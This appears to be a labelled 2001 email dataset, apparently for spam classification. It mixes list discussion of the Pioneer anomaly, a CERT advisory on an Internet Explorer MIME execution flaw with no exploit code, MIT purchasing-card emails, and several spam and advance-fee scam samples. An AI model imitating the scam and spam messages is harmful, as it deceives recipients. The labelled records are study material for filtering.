<3B027AD7.36277621@jetnet.ab.ca> X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Mystery force tugs Date: Thu, 17 May 2001 13:17:52 -0700 Ben Franchuk writes: > Gene & James Marlin wrote: > > This ""news"" is getting to be two or three years old now, and yet it still > > circulates. The solution was found a long time ago- IR photon pressure from > > the RTG power supplies aboard all four probes causes the (extremely minute) > > deltaV. After many years of flight, that minute deltaV becomes readily > > detectable. > > I don't buy that idea, with out more details. Well, I don't buy your idea without more details either. If you claim to be so familiar with autodynamics and that it explains the discrepancy, why don't you just describe how? It makes a lot more sense to me that the discrepancy results from an overlooked known physical effect than that it's proof for an untested and unconventional physical theory. I would like to see a more detailed description of how the infrared radiation from the RTGs on those probes would account for the velocity discrepancy, but it's not a physically untenable explanation on the surface. > > I'm very surprised this made it to the list. Now, what is this about > > rewriting physics on four data points that are not readily reproducible? > > Really now. >From VM Thu May 17 14:01:24 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1391"" ""Wednesday"" ""16"" ""May"" ""2001"" ""14:38:12"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""32"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 1391 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4HKrwd21554 for starship-design-outgoing; Thu, 17 May 2001 13:53:58 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4HKruw21539 for ; Thu, 17 May 2001 13:53:56 -0700 (PDT) Received: from jetnet.ab.ca (dialin45.jetnet.ab.ca [207.153.6.45]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id OAA12264 for ; Thu, 17 May 2001 14:53:51 -0600 (MDT) Message-ID: <3B02E534.51470B50@jetnet.ab.ca> X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i586) X-Accept-Language: en MIME-Version: 1.0 References: <96.1455b238.28346c5e@aol.com> <001a01c0de85$c6205c00$4c063140@y4c7d6> <3B027AD7.36277621@jetnet.ab.ca> <15108.12784.990223.261001@tzadkiel.efn.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Mystery force tugs Date: Wed, 16 May 2001 14:38:12 -0600 Steve VanDevender wrote: > Well, I don't buy your idea without more details either. If you claim > to be so familiar with autodynamics and that it explains the > discrepancy, why don't you just describe how? I gave you the link,so the author can discribe it better than I can. Since I can't READ the paper on the IR solution I wish not to comment on it, other than the thrust if is from the RTG's should be getting smaller as the RTG's cool. > It makes a lot more sense to me that the discrepancy results from an > overlooked known physical effect than that it's proof for an untested > and unconventional physical theory. A discrepancy in any theory is a sign that the theory needs revising. So far all the theories I have read about gravity before Autodynamics and gravity was a lot of hand waving and mumbo-jumbo. You can't point to a object and say -- you cause gravity --. Gravity is one subject not very much R&D money is spent on today. . > > > > I'm very surprised this made it to the list. Now, what is this about > > > rewriting physics on four data points that are not readily reproducible? > > > Really now. I say only 1 point is needed -- the point in space where the BIG BANG happened. Ben. -- ""We do not inherit our time on this planet from our parents... We borrow it from our children."" ""Luna family of Octal Computers"" http://www.jetnet.ab.ca/users/bfranchuk >From VM Fri May 18 10:05:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2228"" ""Thursday"" ""17"" ""May"" ""2001"" ""23:21:09"" ""-0500"" ""Gene & James Marlin"" ""rmarlin@network-one.com"" nil ""51"" ""starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 2228 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4I4LPZ13065 for starship-design-outgoing; Thu, 17 May 2001 21:21:25 -0700 (PDT) Received: from mail.bignetsouth.net (mail.ayrix.net [64.49.1.26]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4I4LOw13059 for ; Thu, 17 May 2001 21:21:24 -0700 (PDT) Received: from y4c7d6 ([64.49.6.26]) by mail.bignetsouth.net (Post.Office MTA v3.5.3 release 223 ID# 0-57710U53000L800S0V35) with SMTP id net for ; Fri, 18 May 2001 00:29:46 -0400 Message-ID: <002301c0df51$f7bede40$1a063140@y4c7d6> References: <96.1455b238.28346c5e@aol.com> <001a01c0de85$c6205c00$4c063140@y4c7d6> <3B027AD7.36277621@jetnet.ab.ca> <15108.12784.990223.261001@tzadkiel.efn.org> <3B02E534.51470B50@jetnet.ab.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk Reply-To: rmarlin@network-one.com (Gene & James Marlin) From: rmarlin@network-one.com (Gene & James Marlin) Sender: owner-starship-design@lists.uoregon.edu To: Subject: starship-design: Re: Mystery force tugs Date: Thu, 17 May 2001 23:21:09 -0500 > I gave you the link,so the author can discribe it better than I can. > Since I can't READ the paper on the IR solution I wish not to >comment > on it, Anderson's original publication is in the Oct 5 98 Physical Review Letters. Other physicists (like Katz of Washington University, St. Louis) point out that radiation pressure from the RTGs on those craft are perfectly adequate to account for the pressure (noted in S&T, Jan. 1999). Anderson himself believes the error is internal to the spacecraft, and *not* a problem with physics, pointing out that Earth and Mars do not display a similar solar force but the relatively nearbly Ulysses spacecraft does, therefore, whatever it is is specific to the spacecraft. And no, Ben, there is no ""url"" you can go to to find the above, you'll just have to use a library. The actual acceleration itself is constant at about 8.5exp-8 cm/s^2; the very fact that it is constant is inconsistent with the increasing distance to the Sun for Pioneer 10 and 11 between 1998 and the point it was first detected in 1980 would indicate that it is not a force related to Sun, but only a consequence of the spacecraft design, such as a constant radiation pressure. There may be other forms of acceleration or drag peculiar to the spacecraft that are causing the error, but Kratz tends to think it was IR radiation pressure and Occam's Razor is on his side. Nobody in the physics community seems willing to suggest that it is anything but an anomaly restricted to certain spacecraft. Anderson himself admitted that he feels it has an internal cause in his publication in Physical Review. As for Ben's commentary about RTG's getting cooler, the halflife of Pu 238 is 87.75 years; it will not change that much over twenty years, the greatest delta being distance to the Sun. Now, why aren't Voyager 1 and 2, as well as every planetary body in the Solar System perturbed by the same ""force"" if it is a problem with physics? The problem here is that nobody likes a mundane explanation, because a good one destroys blind speculation. I've noticed that a few members of the Starship Design list have recently commented that they prefer blind speculation and don't like skeptics. Oh well. -Gene",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 03 Apr 2001 14:03:32 -0400",CERT Advisory CA-2001-06," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-06 Automatic Execution of Embedded MIME Types Original release date: April 03, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * All versions of Microsoft Internet Explorer 5.5 SP1 or earlier, except IE 5.01 SP2 * Any software which utilizes vulnerable versions of Internet Explorer to render HTML Overview Microsoft Internet Explorer has a vulnerability triggered when parsing MIME parts in a document that allows a malicious agent to execute arbitrary code. Any user or program that uses vulnerable versions of Internet Explorer to render HTML in a document (for example, when browsing a filesystem, reading email or news messages, or visiting a web page), should immediately upgrade to a non-vulnerable version of Internet Explorer. I. Description There exists in Internet Explorer a table which is used to determine how IE handles MIME types when it encounters MIME parts in any type of HTML document, be it email message, newsgroup posting, web page, or local file. This table contains a set of entries that cause Internet Explorer to open the MIME part without giving the end user the opportunity to decide if the MIME part should be opened. This vulnerability allows an intruder to construct malicious content that, when viewed in Internet Explorer (or any program that uses the IE HTML rendering engine), can execute arbitrary code. It is not necessary to run an attachment; simply viewing the document in a vulnerable program is sufficient to execute arbitrary code. For more details, see Microsoft Security Bulletin MS01-020 on this topic at: http://www.microsoft.com/technet/security/bulletin/MS01-020.asp There have been reports that simply previewing HTML content (as in a mail client or filesystem browser) is sufficient to trigger the vulnerability. The impact of viewing malicious code in this manner is being evaluated. The CERT/CC is currently unaware of any reports of this vulnerability being used to successfully attack a system. Demonstration code exploiting this vulnerability has been published in several public forums. This vulnerability is being referenced in CVE as CAN-2001-0154 and by the CERT/CC as VU#980499. II. Impact Attackers can cause arbitrary code to be executed on a victim's system by embedding the code in a malicious email, or news message, or web page. III. Solution Apply the patch from Microsoft Apply the patch from Microsoft, available at: http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp As noted in the 'Caveats' section of the Microsoft advisory, end users must apply this patch to supported versions of Microsoft's browser. This means IE must be upgraded to IE 5.01 Service Pack 1 or IE 5.5 Service Pack 1 before users can apply this patch. Users who have not previously upgraded will incorrectly receive a message stating that they do not need to apply this patch, even though they are vulnerable. Users are advised to upgrade to IE 5.5 SP1, IE 5.01 SP1 or SP2 (which has this patch incorporated in it) and apply the appropriate patch. An excerpt from MS01-020: Caveats: If the patch is installed on a system running a version of IE other than the one it is designed for, an error message will be displayed saying that the patch is not needed. This message is incorrect, and customers who see this message should upgrade to a supported version of IE and re-install the patches. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Cyrusoft International, Inc. Mulberry does not use Internet Explorer to render HTML within Mulberry itself and is not vulnerable to these kinds of problems. Users can save HTML attachments to disk and then view those in browsers susceptible to this problem, but this requires the direct intervention of the user to explicitly save to disk - simply viewing HTML in Mulberry does not expose users to these kinds of problems. Our HTML rendering is a basic styled-text only renderer that does not execute any form of scripts. This is true on all the platforms we support: Win32, Mac OS (Classic & X), Solaris, linux. An official statement about this is available on our website at: http://www.cyrusoft.com/mulberry/htmlsecurity.html Lotus Development Corporation Notes does not use IE to render HTML-formatted mail messages. Microsoft Corporation Please see the advisory (MS01-020, ""Incorrect MIME Header Can Cause IE to Execute E-mail Attachment"") related to this issue at: http://www.microsoft.com/technet/security/bulletin/MS01-020.asp A patch is available for this issue at: http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp Netscape Communications Corporation Netscape is currently investigating the impact this vulnerability, if any, has on users of the Netscape browser. Opera Software Opera does not use Internet Explorer or any other external software to render HTML. QUALCOMM Incorporated It is unclear at this time what impact, if any, this vulnerability has on Eudora clients. Appendix B. - References 1. Havrilla, J., and Hernan, S., ""CERT Vulnerability Note VU#980499: Certain MIME types can cause Internet Explorer to execute arbitrary code when rendering HTML"", March 2001. https://www.kb.cert.org/vuls/id/980499 _________________________________________________________________ Microsoft has acknowledged Juan Carlos Cuartango for bringing this issue to their attention. This document was written by Jeffrey S. Havrilla and Shawn V. Hernan. If you have feedback, comments, or additional information about this issue, please send us email. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-06.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History April 03, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBOsoNNQYcfu8gsZJZAQFd3gQAkCKdIcdKJ/gaii0odrJdM/jlZUv7MYYf R8LUHkV1dUTxEI/SRrKtAoEsf/UVVgZI4PGBB/pyptkmSv2axMWf4AD1Ubful712 ojVaHG7hJuV5RNiw2yE/R4AoWZ5GbdaQByYWpCB+OfwNzsz/7MYibjI6xUtvqRvV JxYMB6q5TqM= =B0Bv -----END PGP SIGNATURE----- ",0,1 Peter Steven ,Dear friend ,"Tue, 03 Apr 2001 16:11:33 -0700",YOUR URGENT FUND TRANSFER ASSISTANT IS NEEDED PLEASE,"Dear Friend, With warm heart I offer my friendship, and my greetings, and I hope this letter meets you in good time. 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MBNA acquired First Union�s credit card portfolio as of June 30, 2000. What this means to MIT is that MBNA will be the new providing bank for our VIP Purchasing Card. Although the sale was announced last summer, the actual conversion to MBNA will not take place until June 2001. MBNA is a proven leader in the credit card business and this portfolio sale should be a seamless transition to MIT. MBNA promises to continue providing us with the same high level of service that we are currently receiving. This change should not affect the use of your card. You will not have to replace your existing card, which will remain valid through August of 2003. You will receive shortly a notice from First Union regarding a Notice of Change in Terms. First Union is required to send this notice to all cardholders directly, even though individuals are not responsible for payment under the MIT agreement. As the conversion date approaches, we will keep you updated regarding any changes that may affect you as a cardholder. If you have any questions please feel free to call me or type to vipcard@mit.edu. Stephanie Bromander VIP Administrator romander@mit.edu E19-370 253-8366 ",0,0 Adara Ralph ,sam@life.ai.mit.edu,"Tue, 10 Apr 2001 11:03:18 -0500",Gifts for your Wife/Spouse,"some adjutant try furthermost may suds not lechery be appointee ",1,0 James Annis ,Mike Wilde ,"Tue, 10 Apr 2001 18:19:18 -0500",Re: Snapshot of quantitative replication requirements,"It wouldn't be incorrect, no. The basic distinction is number of objects versus number of files. The catalog has a very high # of objects/file, while the images have 1/1. I guess I might advocate a column with number of objects, as interesting in its own right, as a proxy for complexity of the data. > Also, in the numbers below, for 2006, images, replicas/file, did you mean > 10 not 1? yes. Sorry. > I assume the number 200M objects by 2006 is spread over the 5000 object > catalogs, and that these catalogs remain roughly O(1GB)? (EVen though thats > beyond the detail of the spreadsheet currently) Yes, that is right. On Tue, 10 Apr 2001, Mike Wilde wrote: > Jim, would it be accurate to roll the numbers for catalogs and images > together into one summary as follows?: > > > Primary data Replication > # > files sites storage_servers replicas/file catalog_users > 2001 250,000 3 3 ~100 > 2006 3,500,000 10 10 ~1000 > > > Also, in the numbers below, for 2006, images, replicas/file, did you mean > 10 not 1? > > I assume the number 200M objects by 2006 is spread over the 5000 object > catalogs, and that these catalogs remain roughly O(1GB)? (EVen though thats > beyond the detail of the spreadsheet currently) > > Thanks! > > Mike > > > At 01:20 PM 4/10/2001 -0500, you wrote: > >Hi Mike > > > >Here is a first guess as to the column entires in your file: > > > > Primary data Replication > > # > > files sites storage_servers replicas/file catalog_users > >SDSS catalogs > >2001 600 3 3 ~100 > >2006 5000 10 20 ~1000 > > > >SDSS images > >2001 250,000 1 1 ~10 > >2006 3,500,00 10 1 ~100 > > > > > >catalogs are objectivty databases, each about 1 Gig > > there are two copies of the catalogs, btw. > > ~200,000,000 objects in the catalog in 2006 > > > >images are 5/field, about 28 Meg for a 5 image/field set. > > > >interesting developments are several groups running large derived catalogs > >as web pages. Available on request, but are either large ascii files or > >fits binary tables. > > > >I didn't find the idea of logical collection being used in the SDSS. > >I don't actually have numbers for peak usage, but will over the next few > >months. > > > >I would like to have you come out to Fermilab for a visit. > >Perhaps when you come out to see Ruth, we can spend some time > >talking. Let me know what your schedule is like. We'd like to > >ramp up on a GriPhyN testbed over the next 6 months, but our > >awareness of what the tools actually do is limited. And the best > >way is to talk... > > > >cheers, > >jim > > > > > > > >On Tue, 10 Apr 2001, Mike Wilde wrote: > > > > > Jim, here's the current matrix - hope its readable. > > > > > > The #s currently assume the Globus replica catalog model of a simple > > > 2-level collection-replica hierarchy. > > > > > > Any numbers or feedback you can add would be very welcome. > > > > > > Thanks, > > > > > > Mike > > > > > > _______________________________ > > > Mike Wilde > > > Math & Computer Science Division > > > Argonne National Laboratory > > > Argonne, IL 60439 USA > > > tel 630.252.7497 fax 5986 > > > > ",0,0 """Stanley B. Gershwin"" ",Stephanie Bromander ,"Tue, 10 Apr 2001 19:33:28 -0400",Re: VISA CARD UPDATE,"Dear Ms. Brimander. Thanks for the information. As a result of this change, would it now be possible to get any more specific information in real time about our credit card charges, other than that there was a charge? Stanley B. Gershwin Associate Director Laboratory for Manufacturing and Productivity Senior Research Scientist Department of Mechanical Engineering Massachusetts Institute of Technology 35-331 77 Massachusetts Avenue Cambridge, Massachusetts 02139-4307 617-253-2149 617-258-5972 FAX gershwin@mit.edu http://web.mit.edu/manuf-sys/www On Tue, 10 Apr 2001, Stephanie Bromander wrote: > Dear VIP Cardholders: > > MBNA Corporation and First Union announced recently that they have entered into an agreement for MBNA to acquire First Union�s consumer and commercial credit card businesses. MBNA acquired First Union�s credit card portfolio as of June 30, 2000. What this means to MIT is that MBNA will be the new providing bank for our VIP Purchasing Card. Although the sale was announced last summer, the actual conversion to MBNA will not take place until June 2001. > > MBNA is a proven leader in the credit card business and this portfolio sale should be a seamless transition to MIT. MBNA promises to continue providing us with the same high level of service that we are currently receiving. > > This change should not affect the use of your card. You will not have to replace your existing card, which will remain valid through August of 2003. > > You will receive shortly a notice from First Union regarding a Notice of Change in Terms. First Union is required to send this notice to all cardholders directly, even though individuals are not responsible for payment under the MIT agreement. > > As the conversion date approaches, we will keep you updated regarding any changes that may affect you as a cardholder. > > If you have any questions please feel free to call me or type to vipcard@mit.edu. > > Stephanie Bromander > VIP Administrator > > romander@mit.edu > E19-370 253-8366 > ",0,1 Ryan CU Vargas ,marcella@life.ai.mit.edu,"Tue, 10 Apr 2001 19:03:06 -0600",remove worry,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. 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Gershwin"" ","Wed, 11 Apr 2001 08:59:16 -0400",VISA CARD UPDATE,"Actually, since we have been allotted resources for the conversion we have asked our technical people to work on this problem. I am hopeful that shortly we will be providing specific detail about the purchase within the email notification(ie merchant name and dollar amount). Thanks, Stephanie to At 07:33 PM 4/10/01 -0400, Stanley B. Gershwin wrote: >Dear Ms. Brimander. > >Thanks for the information. As a result of this change, would it now be >possible to get any more specific information in real time about our >credit card charges, other than that there was a charge? > > > >Stanley B. Gershwin > >Associate Director >Laboratory for Manufacturing and Productivity > >Senior Research Scientist >Department of Mechanical Engineering >Massachusetts Institute of Technology >35-331 >77 Massachusetts Avenue >Cambridge, Massachusetts 02139-4307 >617-253-2149 >617-258-5972 FAX >gershwin@mit.edu >http://web.mit.edu/manuf-sys/www > > ",0,1 """P.Reilly"" ","""Stanley B. Gershwin"" , Stephanie Bromander ","Wed, 11 Apr 2001 08:55:00 -0400",Re: VISA CARD UPDATE,"Excellent suggestion. time, date, place, amount would be extremely useful. Patricia Reilly Program Manager DuPont MIT Alliance 77 Massachusetts Avenue 66-470 Cambridge MA 02139 617.452.2568 At 07:33 PM 4/10/2001 -0400, Stanley B. Gershwin wrote: >Dear Ms. Brimander. > >Thanks for the information. As a result of this change, would it now be >possible to get any more specific information in real time about our >credit card charges, other than that there was a charge? > > > >Stanley B. Gershwin > >Associate Director >Laboratory for Manufacturing and Productivity > >Senior Research Scientist >Department of Mechanical Engineering >Massachusetts Institute of Technology >35-331 >77 Massachusetts Avenue >Cambridge, Massachusetts 02139-4307 >617-253-2149 >617-258-5972 FAX >gershwin@mit.edu >http://web.mit.edu/manuf-sys/www > > >On Tue, 10 Apr 2001, Stephanie Bromander wrote: > >> Dear VIP Cardholders: >> >> MBNA Corporation and First Union announced recently that they have entered into an agreement for MBNA to acquire First Union�s consumer and commercial credit card businesses. MBNA acquired First Union�s credit card portfolio as of June 30, 2000. What this means to MIT is that MBNA will be the new providing bank for our VIP Purchasing Card. Although the sale was announced last summer, the actual conversion to MBNA will not take place until June 2001. >> >> MBNA is a proven leader in the credit card business and this portfolio sale should be a seamless transition to MIT. MBNA promises to continue providing us with the same high level of service that we are currently receiving. >> >> This change should not affect the use of your card. You will not have to replace your existing card, which will remain valid through August of 2003. >> >> You will receive shortly a notice from First Union regarding a Notice of Change in Terms. First Union is required to send this notice to all cardholders directly, even though individuals are not responsible for payment under the MIT agreement. >> >> As the conversion date approaches, we will keep you updated regarding any changes that may affect you as a cardholder. >> >> If you have any questions please feel free to call me or type to vipcard@mit.edu. >> >> Stephanie Bromander >> VIP Administrator >> >> romander@mit.edu >> E19-370 253-8366 >> > ",0,1 Michael Capell ,"""Stanley B. Gershwin"" ","Wed, 11 Apr 2001 15:32:07 +0200",Re: VISA CARD UPDATE,"Dear Stephanie: I would like to add my stong support to the addition of this feature. Typically I have several charges in play at once, and it is never clear which particular charge has arrived. This would be a big step forward to keeping things in order. Mike. On Tue, 10 Apr 2001, Stanley B. Gershwin wrote: > Dear Ms. Brimander. > > Thanks for the information. As a result of this change, would it now be > possible to get any more specific information in real time about our > credit card charges, other than that there was a charge? > > > > Stanley B. Gershwin > > Associate Director > Laboratory for Manufacturing and Productivity > > Senior Research Scientist > Department of Mechanical Engineering > Massachusetts Institute of Technology > 35-331 > 77 Massachusetts Avenue > Cambridge, Massachusetts 02139-4307 > 617-253-2149 > 617-258-5972 FAX > gershwin@mit.edu > http://web.mit.edu/manuf-sys/www > > > On Tue, 10 Apr 2001, Stephanie Bromander wrote: > > > Dear VIP Cardholders: > > > > MBNA Corporation and First Union announced recently that they have entered into an agreement for MBNA to acquire First Union’s consumer and commercial credit card businesses. MBNA acquired First Union’s credit card portfolio as of June 30, 2000. What this means to MIT is that MBNA will be the new providing bank for our VIP Purchasing Card. Although the sale was announced last summer, the actual conversion to MBNA will not take place until June 2001. > > > > MBNA is a proven leader in the credit card business and this portfolio sale should be a seamless transition to MIT. MBNA promises to continue providing us with the same high level of service that we are currently receiving. > > > > This change should not affect the use of your card. You will not have to replace your existing card, which will remain valid through August of 2003. > > > > You will receive shortly a notice from First Union regarding a Notice of Change in Terms. First Union is required to send this notice to all cardholders directly, even though individuals are not responsible for payment under the MIT agreement. > > > > As the conversion date approaches, we will keep you updated regarding any changes that may affect you as a cardholder. > > > > If you have any questions please feel free to call me or type to vipcard@mit.edu. > > > > Stephanie Bromander > > VIP Administrator > > > > romander@mit.edu > > E19-370 253-8366 > > > > -- -- Mike Capell -- Tel: +41(22)767-4706 CERN EP/LE J19710 -- GSM: +41(79)201-0172 CH 1211 Geneva 23 -- Fax: +41(22)767-7940 Switzerland -- URL=http://capell.home.cern.ch/capell/ -- AMS Homepage URL=http://ams.cern.ch/ --",0,1 Sherry Colombaro ,"""P.Reilly"" , ""Stanley B. Gershwin"" , Stephanie Bromander ","Wed, 11 Apr 2001 09:35:21 -0400",Re: VISA CARD UPDATE,"Please, in the future, do not cc:VIPCARDHOLDERS@mit.edu. I do not appreciate receiving messages that are intended for only one individual on this mailing list. Thank you. At 08:55 AM 4/11/01 -0400, P.Reilly wrote: >Excellent suggestion. time, date, place, amount would be extremely useful. > >Patricia Reilly >Program Manager >DuPont MIT Alliance >77 Massachusetts Avenue >66-470 >Cambridge MA 02139 >617.452.2568 > >At 07:33 PM 4/10/2001 -0400, Stanley B. Gershwin wrote: > >Dear Ms. Brimander. > > > >Thanks for the information. As a result of this change, would it now be > >possible to get any more specific information in real time about our > >credit card charges, other than that there was a charge? > > > > > > > >Stanley B. Gershwin > > > >Associate Director > >Laboratory for Manufacturing and Productivity > > > >Senior Research Scientist > >Department of Mechanical Engineering > >Massachusetts Institute of Technology > >35-331 > >77 Massachusetts Avenue > >Cambridge, Massachusetts 02139-4307 > >617-253-2149 > >617-258-5972 FAX > >gershwin@mit.edu > >http://web.mit.edu/manuf-sys/www > > > > > >On Tue, 10 Apr 2001, Stephanie Bromander wrote: > > > >> Dear VIP Cardholders: > >> > >> MBNA Corporation and First Union announced recently that they have entered >into an agreement for MBNA to acquire First Union's consumer and commercial >credit card businesses. MBNA acquired First Union's credit card portfolio as >of June 30, 2000. What this means to MIT is that MBNA will be the new >providing bank for our VIP Purchasing Card. Although the sale was announced >last summer, the actual conversion to MBNA will not take place until June >2001. > >> > >> MBNA is a proven leader in the credit card business and this portfolio > sale >should be a seamless transition to MIT. MBNA promises to continue >providing us >with the same high level of service that we are currently receiving. > >> > >> This change should not affect the use of your card. You will not have to >replace your existing card, which will remain valid through August of 2003. > >> > >> You will receive shortly a notice from First Union regarding a Notice of >Change in Terms. First Union is required to send this notice to all >cardholders directly, even though individuals are not responsible for payment >under the MIT agreement. > >> > >> As the conversion date approaches, we will keep you updated regarding any >changes that may affect you as a cardholder. > >> > >> If you have any questions please feel free to call me or type to >vipcard@mit.edu. > >> > >> Stephanie Bromander > >> VIP Administrator > >> > >> romander@mit.edu > >> E19-370 253-8366 > >> > > ======================== Leading with the Web! Sherry Colombaro Assistant Director - Reunions and Events MIT Alumni Association 77 Massachusetts Avenue, 10-140 Cambridge, MA 02139 617-253-4547 (vox) 617-258-7886 (fax) sherryc@mit.edu http://web.mit.edu/alum/ http://web.mit.edu/seniorweek ========================= ",0,1 HRLarson@aol.com,"sherryc@mit.edu, reilly@mit.edu, gershwin@mit.edu, romander@mit.edu","Wed, 11 Apr 2001 09:44:43 -0400",Re: VISA CARD UPDATE,"Good. I do not need the SPAM Harold Larson ",0,0 Michael Kyba ,Stephanie Bromander ,"Wed, 11 Apr 2001 10:30:57 -0400",Re: VISA CARD UPDATE,"Please remove me from your list. I am not interested in these messages. Thank-you, Michael Kyba ",0,0 jennifer holder ,"""P.Reilly"" , ""Stanley B. Gershwin"" , Stephanie Bromander ","Wed, 11 Apr 2001 10:45:30 -0400",Re: VISA CARD UPDATE,"I agree, Jennifer At 08:55 AM 4/11/01 -0400, P.Reilly wrote: >Excellent suggestion. time, date, place, amount would be extremely useful. > >Patricia Reilly >Program Manager >DuPont MIT Alliance >77 Massachusetts Avenue >66-470 >Cambridge MA 02139 >617.452.2568 > >At 07:33 PM 4/10/2001 -0400, Stanley B. Gershwin wrote: > >Dear Ms. Brimander. > > > >Thanks for the information. As a result of this change, would it now be > >possible to get any more specific information in real time about our > >credit card charges, other than that there was a charge? > > > > > > > >Stanley B. Gershwin > > > >Associate Director > >Laboratory for Manufacturing and Productivity > > > >Senior Research Scientist > >Department of Mechanical Engineering > >Massachusetts Institute of Technology > >35-331 > >77 Massachusetts Avenue > >Cambridge, Massachusetts 02139-4307 > >617-253-2149 > >617-258-5972 FAX > >gershwin@mit.edu > >http://web.mit.edu/manuf-sys/www > > > > > >On Tue, 10 Apr 2001, Stephanie Bromander wrote: > > > >> Dear VIP Cardholders: > >> > >> MBNA Corporation and First Union announced recently that they have entered >into an agreement for MBNA to acquire First Union's consumer and commercial >credit card businesses. MBNA acquired First Union's credit card portfolio as >of June 30, 2000. What this means to MIT is that MBNA will be the new >providing bank for our VIP Purchasing Card. Although the sale was announced >last summer, the actual conversion to MBNA will not take place until June >2001. > >> > >> MBNA is a proven leader in the credit card business and this portfolio > sale >should be a seamless transition to MIT. MBNA promises to continue >providing us >with the same high level of service that we are currently receiving. > >> > >> This change should not affect the use of your card. You will not have to >replace your existing card, which will remain valid through August of 2003. > >> > >> You will receive shortly a notice from First Union regarding a Notice of >Change in Terms. First Union is required to send this notice to all >cardholders directly, even though individuals are not responsible for payment >under the MIT agreement. > >> > >> As the conversion date approaches, we will keep you updated regarding any >changes that may affect you as a cardholder. > >> > >> If you have any questions please feel free to call me or type to >vipcard@mit.edu. > >> > >> Stephanie Bromander > >> VIP Administrator > >> > >> romander@mit.edu > >> E19-370 253-8366 > >> > > Jennifer Holder Admin. Assistant, LIGO Project MIT / Center for Space Research 175 Albany Street, NW17-161 Cambridge, MA 02139 ph. 617-253-4824 fax 617-253-7014 ",0,1 Sally Lee ,"jennifer holder , ""P.Reilly"" , ""Stanley B. Gershwin"" , Stephanie Bromander ","Wed, 11 Apr 2001 10:45:36 -0400",Re: VISA CARD UPDATE,"Yes, Please keep me off this particular list too. Thanks, Sally Lee At 10:45 AM 4/11/2001 -0400, jennifer holder wrote: >I agree, > >Jennifer > >At 08:55 AM 4/11/01 -0400, P.Reilly wrote: >>Excellent suggestion. time, date, place, amount would be extremely useful. >> >>Patricia Reilly >>Program Manager >>DuPont MIT Alliance >>77 Massachusetts Avenue >>66-470 >>Cambridge MA 02139 >>617.452.2568 >> >>At 07:33 PM 4/10/2001 -0400, Stanley B. Gershwin wrote: >> >Dear Ms. Brimander. >> > >> >Thanks for the information. As a result of this change, would it now be >> >possible to get any more specific information in real time about our >> >credit card charges, other than that there was a charge? >> > >> > >> > >> >Stanley B. Gershwin >> > >> >Associate Director >> >Laboratory for Manufacturing and Productivity >> > >> >Senior Research Scientist >> >Department of Mechanical Engineering >> >Massachusetts Institute of Technology >> >35-331 >> >77 Massachusetts Avenue >> >Cambridge, Massachusetts 02139-4307 >> >617-253-2149 >> >617-258-5972 FAX >> >gershwin@mit.edu >> >http://web.mit.edu/manuf-sys/www >> > >> > >> >On Tue, 10 Apr 2001, Stephanie Bromander wrote: >> > >> >> Dear VIP Cardholders: >> >> >> >> MBNA Corporation and First Union announced recently that they have >> entered >>into an agreement 